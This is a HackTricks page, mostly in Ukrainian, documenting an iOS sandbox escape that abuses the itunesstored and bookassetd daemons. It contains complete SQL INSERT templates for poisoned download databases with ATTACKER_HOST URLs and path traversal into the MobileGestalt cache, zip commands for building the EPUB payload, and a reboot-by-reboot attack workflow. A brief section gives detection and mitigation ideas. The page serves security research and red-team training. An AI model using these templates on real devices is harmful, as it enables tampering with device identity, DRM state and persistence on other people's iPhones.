itunesstored & bookassetd Sandbox Escape
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Огляд
Останні дослідження показують, що два попередньо встановлені демони iOS, itunesstored (менеджер завантажень) та bookassetd (менеджер ресурсів Books / iBooks), беззастережно довіряють метаданим SQLite, доступним для запису користувача. Помістивши спеціально підготовлені файли downloads.28.sqlitedb та BLDatabaseManager.sqlite разом із мінімальним архівом EPUB, атакуючий, який може записувати в /var/mobile/Media/, може змусити ці демони виконати довільні записі файлів у більшості шляхів власності mobile всередині /private/var/. Примітиви витримують перезавантаження і дозволяють маніпулювати кешами системних груп, такими як systemgroup.com.apple.mobilegestaltcache, щоб підробляти властивості пристрою або зберігати конфігурацію.
Ключові властивості:
- Працює на пристроях щонайменше до iOS 26.2b1 (перевірено на iPhone 12 / iOS 26.0.1).
- Мішенями для запису є кеші
SystemGroup,/private/var/mobile/Library/FairPlay,/private/var/mobile/Mediaта інші файли, що належатьmobile. Записи у файли, якими володієroot, не вдаються. - Потребує лише доступу рівня AFC (копіювання файлів по USB) або будь‑якої початкової позиції, що дозволяє замінити цільові SQLite DB та завантажити payloads.
Модель загрози та вимоги
- Локальний доступ до файлової системи до
/var/mobile/Media/Downloads/та/var/mobile/Media/Books/(через AFC клієнти, такі як 3uTools, i4.cn, абоafcclientпо USB, або будь‑яке попереднє компрометування). - HTTP-сервер, що хостить файли атакуючого (
BLDatabaseManager.sqlite,iTunesMetadata.plist, crafted EPUB), доступні за URL на кшталтhttps://ATTACKER_HOST/fileprovider.php?type=.... - Здатність неодноразово перезавантажувати пристрій, щоб кожен демон перезавантажив свою базу даних.
- Знання UUID system-group для Books, щоб запис Етапу 1 потрапив у правильний контейнер (знаходиться через syslog).
Етап 1 – Зловживання downloads.28.sqlitedb через itunesstored
itunesstored обробляє /var/mobile/Media/Downloads/downloads.28.sqlitedb. Таблиця asset зберігає URL + метадані призначення і трактує їх як довірений вхід. Створення рядка, який вказує на URL атакуючого і встановлює local_path на .../Documents/BLDatabaseManager/BLDatabaseManager.sqlite всередині Books SystemGroup, примусить itunesstored завантажити і перезаписати базу даних Books вмістом атакуючого під час завантаження.
Знаходження UUID SystemGroup для Books
- Зберіть архів syslog за допомогою
pymobiledevice3:
pymobiledevice3 syslog collect logs.logarchive
- Відкрийте
logs.logarchiveу Console.app та знайдітьbookassetd [Database]: Store is at file:///private/var/containers/Shared/SystemGroup/<UUID>/Documents/BLDatabaseManager/BLDatabaseManager.sqlite. - Запишіть
<UUID>і підставте його в SQL payload.
Зловмисний рядок asset
Шаблон INSERT — Етап 1
```sql INSERT INTO "main"."asset" ( "pid","download_id","asset_order","asset_type","bytes_total", "url","local_path","destination_url","path_extension","retry_count", "http_method","initial_odr_size","is_discretionary","is_downloaded", "is_drm_free","is_external","is_hls","is_local_cache_server", "is_zip_streamable","processing_types","video_dimensions", "timeout_interval","store_flavor","download_token","blocked_reason", "avfoundation_blocked","service_type","protection_type", "store_download_key","etag","bytes_to_hash","hash_type","server_guid", "file_protection","variant_id","hash_array","http_headers", "request_parameters","body_data","body_data_file_path","sinfs_data", "dpinfo_data","uncompressed_size","url_session_task_id" ) VALUES ( 1234567890,6936249076851270150,0,'media',NULL, 'https://ATTACKER_HOST/fileprovider.php?type=sqlite', '/private/var/containers/Shared/SystemGroup/Поля, які мають значення:
url: кінцева точка, контрольована зловмисником, яка повертає шкідливийBLDatabaseManager.sqlite.local_path: файлBLDatabaseManager.sqliteсистемної групи Books, визначений вище.- Control flags: keep defaults (
asset_type='media',path_extension='epub', booleans set to 0/1 as in the template) so the daemon accepts the task.
Розгортання
- Видаліть застарілі записи
/var/mobile/Media/Downloads/*, щоб уникнути умов гонок. - Замініть
downloads.28.sqlitedbна створену БД через AFC. - Перезавантажте →
itunesstoredзавантажить базу даних Stage 2 і запише/var/mobile/Media/iTunes_Control/iTunes/iTunesMetadata.plist. - Скопіюйте той plist до
/var/mobile/Media/Books/iTunesMetadata.plist; Stage 2 очікує його в цьому місці.
Stage 2 – зловживання BLDatabaseManager.sqlite через bookassetd
bookassetd має ширші дозволи на файлову систему і довіряє таблиці ZBLDOWNLOADINFO. Вставивши фейковий рядок покупки, який посилається на URL-адреси зловмисника та містить traversal у ZPLISTPATH, демон завантажує ваш EPUB у /var/mobile/Media/Books/asset.epub і пізніше розпаковує метадані у будь-який mobile-належний шлях, досяжний через послідовності втечі ../../...
Зловмисний ZBLDOWNLOADINFO рядок
Шаблон INSERT для Етапу 2
```sql INSERT INTO "ZBLDOWNLOADINFO" ( "Z_PK","Z_ENT","Z_OPT","ZACCOUNTIDENTIFIER","ZCLEANUPPENDING", "ZFAMILYACCOUNTIDENTIFIER","ZISAUTOMATICDOWNLOAD","ZISLOCALCACHESERVER", "ZISPURCHASE","ZISRESTORE","ZISSAMPLE","ZISZIPSTREAMABLE", "ZNUMBEROFBYTESTOHASH","ZPERSISTENTIDENTIFIER","ZPUBLICATIONVERSION", "ZSERVERNUMBEROFBYTESTOHASH","ZSIZE","ZSTATE","ZSTOREIDENTIFIER", "ZSTOREPLAYLISTIDENTIFIER","ZLASTSTATECHANGETIME","ZPURCHASEDATE", "ZSTARTTIME","ZARTISTNAME","ZARTWORKPATH","ZASSETPATH", "ZBUYPARAMETERS","ZCANCELDOWNLOADURL","ZCLIENTIDENTIFIER", "ZCOLLECTIONARTISTNAME","ZCOLLECTIONTITLE","ZDOWNLOADID", "ZDOWNLOADKEY","ZENCRYPTIONKEY","ZEPUBRIGHTSPATH","ZFILEEXTENSION", "ZGENRE","ZHASHTYPE","ZKIND","ZMD5HASHSTRINGS","ZORIGINALURL", "ZPERMLINK","ZPLISTPATH","ZSALT","ZSUBTITLE","ZTHUMBNAILIMAGEURL", "ZTITLE","ZTRANSACTIONIDENTIFIER","ZURL","ZRACGUID","ZDPINFO", "ZSINFDATA","ZFILEATTRIBUTES" ) VALUES ( 1,2,3,0,0,0,0,'',NULL,NULL,NULL,NULL, 0,0,0,NULL,4648,2,'765107108',NULL, 767991550.119197,NULL,767991353.245275,NULL,NULL, '/private/var/mobile/Media/Books/asset.epub', 'productType=PUB&salableAdamId=765107106&...', 'https://p19-buy.itunes.apple.com/...', '4GG2695MJK.com.apple.iBooks','Sebastian Saenz','Cartas de Amor a la Luna', '../../../../../../private/var/containers/Shared/SystemGroup/systemgroup.com.apple.mobilegestaltcache/Library', NULL,NULL,NULL,NULL,'Contemporary Romance',NULL,'ebook',NULL,NULL,NULL, '/private/var/mobile/Media/Books/iTunesMetadata.plist',NULL, 'Cartas de Amor a la Luna','https://ATTACKER_HOST/fileprovider.php?type=gestalt', 'Cartas de Amor a la Luna','J19N_PUB_190099164604738', 'https://ATTACKER_HOST/fileprovider.php?type=gestalt2',NULL,NULL,NULL,NULL ); ```Важливі поля:
ZASSETPATH: розташування EPUB на диску, контрольоване атакуючим.ZURL/ZPERMLINK: URL-адреси атакуючого, що хостять EPUB та допоміжний plist.ZPLISTPATH:../../../../../private/var/containers/Shared/SystemGroup/systemgroup.com.apple.mobilegestaltcache/Library– path traversal base, яке додається до файлів, витягнутих з EPUB. Налаштуйте глибину обходу шляху, щоб досягти потрібного цільового каталогу SystemGroup.- Метадані покупки (
ZSTOREIDENTIFIER, імена, часові позначки) імітують легітимні записи, щоб демон не відкидав рядок.
Після копіювання шкідливої БД у /private/var/containers/Shared/SystemGroup/<UUID>/Documents/BLDatabaseManager/BLDatabaseManager.sqlite (завдяки Stage 1) та двох перезавантажень, bookassetd буде (1) завантажувати EPUB, (2) обробляти його та записувати похідний plist у пройдений шлях.
Створення EPUB Payload
bookassetd дотримується формату EPUB ZIP: mimetype має бути першим неупакованим записом. Щоб відобразити вміст EPUB у кеш MobileGestalt, збудуйте дерево каталогів, яке відтворює бажаний шлях відносно ZPLISTPATH.
Caches/
├── mimetype
└── com.apple.MobileGestalt.plist
Створіть архів:
zip -X0 hax.epub Caches/mimetype
zip -Xr9D hax.epub Caches/com.apple.MobileGestalt.plist
mimetypeзазвичай містить буквальне значенняapplication/epub+zip.Caches/com.apple.MobileGestalt.plistмістить керований атакуючим payload, який опиниться за адресою.../Library/Caches/com.apple.MobileGestalt.plist.
Робочий процес оркестрації
- Підготуйте файли на HTTP-сервері атакуючого та складіть обидві SQLite DB з host/UUID-специфічними значеннями.
- Замініть
downloads.28.sqlitedbна пристрої та перезавантажте → Stage 1 завантажує шкідливийBLDatabaseManager.sqliteі викидає/var/mobile/Media/iTunes_Control/iTunes/iTunesMetadata.plist. - Скопіюйте
iTunesMetadata.plistдо/var/mobile/Media/Books/iTunesMetadata.plist(повторіть, якщо демон його видаляє). - Перезавантажте ще раз →
bookassetdзавантажуєasset.epubу/var/mobile/Media/Books/використовуючи метадані Stage 2. - Перезавантажте втретє →
bookassetdобробляє завантажений asset, слідуєZPLISTPATHі записує вміст EPUB у цільовий SystemGroup шлях (наприклад,com.apple.MobileGestalt.plist). - Перевірте, читаючи перезаписаний plist або спостерігаючи, що властивості, похідні від MobileGestalt (model identifier, activation flags тощо), відповідно змінюються.
Тот самий патерн дозволяє покласти файли в інші кеші, що належать mobile, такі як FairPlay state або persistence directories, дозволяючи приховані маніпуляції без потреби в kernel exploit.
Інструменти та оперативні нотатки
pymobiledevice3 syslog collect logs.logarchive– витягнути журнальні архіви, щоб виявити Books SystemGroup UUID.- Console.app – відфільтруйте за
bookassetd [Database]: Store is at ...щоб відновити точний шлях контейнера. - AFC clients (
afcclient, 3uTools, i4.cn) – push/pull SQLite DBs та plist файли через USB без jailbreak. zip– забезпечує дотримання обмежень порядку EPUB при пакуванні payloads.- Public PoC – https://github.com/hanakim3945/bl_sbx містить базові шаблони SQLite/EPUB, які ви можете налаштувати.
Ідеї виявлення та пом’якшення
- Розглядайте
downloads.28.sqlitedbтаBLDatabaseManager.sqliteяк недовірений вхід: перевіряйте, щоlocal_path/ZPLISTPATHзалишаються в межах затверджених sandbox і відхиляйте повні шляхи або токени обходу (traversal). - Моніторте записи AFC, що замінюють ці бази даних, або неочікувані завантаження, ініційовані
itunesstored/bookassetdнезабаром після завантаження системи. - Посиліть процес розпакування
bookassetd, застосувавшиrealpath()до цільового шляху виводу і переконавшись, що він не може вийти за межі Books container перед записом файлів. - Обмежте канали копіювання файлів AFC / USB або вимагайте взаємодії з користувачем перед дозволом на заміну файлів метаданих Books/iTunes.
References
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
HackTricks

